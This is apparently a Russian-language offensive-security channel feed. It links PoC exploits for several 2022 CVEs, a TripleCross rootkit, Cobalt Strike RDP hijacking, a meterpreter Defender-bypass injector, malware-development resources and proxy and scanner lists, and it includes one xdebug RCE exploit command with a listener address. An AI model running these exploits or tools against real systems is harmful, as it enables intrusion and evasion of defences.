Payloads - это как сыр в пицце ! нужно много и разных
Даунлоаде

#redteam #payload

CVE-2022-24342
JetBrains TeamCity - account takeover via CSRF in GitHub authentication (PoC exploit)
Смотреть немое кино тут

#cve #poc

Про шифрование на mega.nz наверно все уже слышали да ?
Уже и mitm RSA key recovery POC гуляет
Вот на почитать - как оно устроенно:
1. Malleable Encryption Goes Awry
2. RSA Key Recovery Attack
3. MEGA attack explainer
Вот на посмотреть
1. RSA key attack

#mega #rsa #poc

Рубрика: "Нам прислали"
======================
An automated exploit to the xdebug 2.5.5 RCE vulnerability

python3 xdebug.py -u http://10.10.10.83/index.php -l 10.10.16.3

CVE-2022-26135
jira-mobile-ssrf-exploit
Full-Read Server Side Request Forgery in Mobile Plugin for Jira Data Center and Server
exploit

#jira #exploits

WSO_2_RCE
CVE-2022-29464
POC exploit

#exploit #poc

awesome-malware-development

В составе:
00 - Блоги
01 - Talks
02 - Youtube channels
03 - Courses
04 - Books
05 - Articles/posts
06 - Forums
07 - Sample Sharing
08 - interesting Github Repos(miscellaneous)

#malware #dev

BurpSuite plugin RouteVulScan

Django vuln

CVE-2022-34265
Используя эту уязвимость, атакующий может отправить в базу данных команды для доступа к данным или удаления базы данных.
=======
Уязвимые версии
Django 3.2.x prior to 3.2.14
Django 4.0.x prior to 4.0.6
=======
POC

#exploit #django

BurpSuite PRO 2022.7
#burp

eBPF и наступательные технологии в виде Руткита TripleCross
😎
CONTENT

* Features
* TripleCross overview
* Build and install
* Library injection module
* Backdoor and C2
* Execution hijacking module
* Rootkit persistence
* Rootkit stealth
* License

TripleCross rootkit

#linux #rootkit

Cobalt Strike Beacon
RDP_Hijack
Имея golden Ticket можно перехватывать RDP сессии не подгружая сам beacon на целевой хост.
download

#cobalt

socks5 proxy.
977 rows.
updated 16.07.2022 , 08:00
#proxy

Ииии смотрим в ZombieThread
meterpreter injection technique using C# that attempts to bypass Windows defender
Download

#meterpreter

CVE-2022-30333
Zimbra, всё тоже, только подробная аналитика. C full exploit и payload
Погрузиться
Голос из зала как бы кричит, что unrar нужно было заменить на 7zip 1999 году - ну во первых, все радикально срать ебали, а во вторых - 7zip сам не лыком shit

#zimbra #exploit

CVE-2022-33891
Apache Spark RCE

#exploit #rce

Занятный сервис !
Сборник техник вредоносного ПО для обхода всяких IDS + правила обнаружения этих техник
unprotect.it

#ids #malware

CVE-2022-34918
A crack in the Linux firewall
Разбор и аналитика тут


#linux #poc #exploit #lpe

SCANNERS
-_-

* 'Acunetix Web Vulnerability Scanner 7.0 [vokeon]'
* 'Explode Web Scanner'
* 'Gr3eNoX Exploit Scanner'
* 'Gr3eNoX LFi Exploiter'
* 'Havij 1.152 Pro Edition'
* 'Multi-Vuln-Checker By-P.S'
* 'Vulnerability Master 1.0'
*  Vuln_Hunter
*  wapiti-2.3.0-win32-standalone
*  WebCruiser
*  WebCruiserPro
* 'Websecurity Scanner 0.9'
* WebSurgery-Setup-1.1.1

#scanners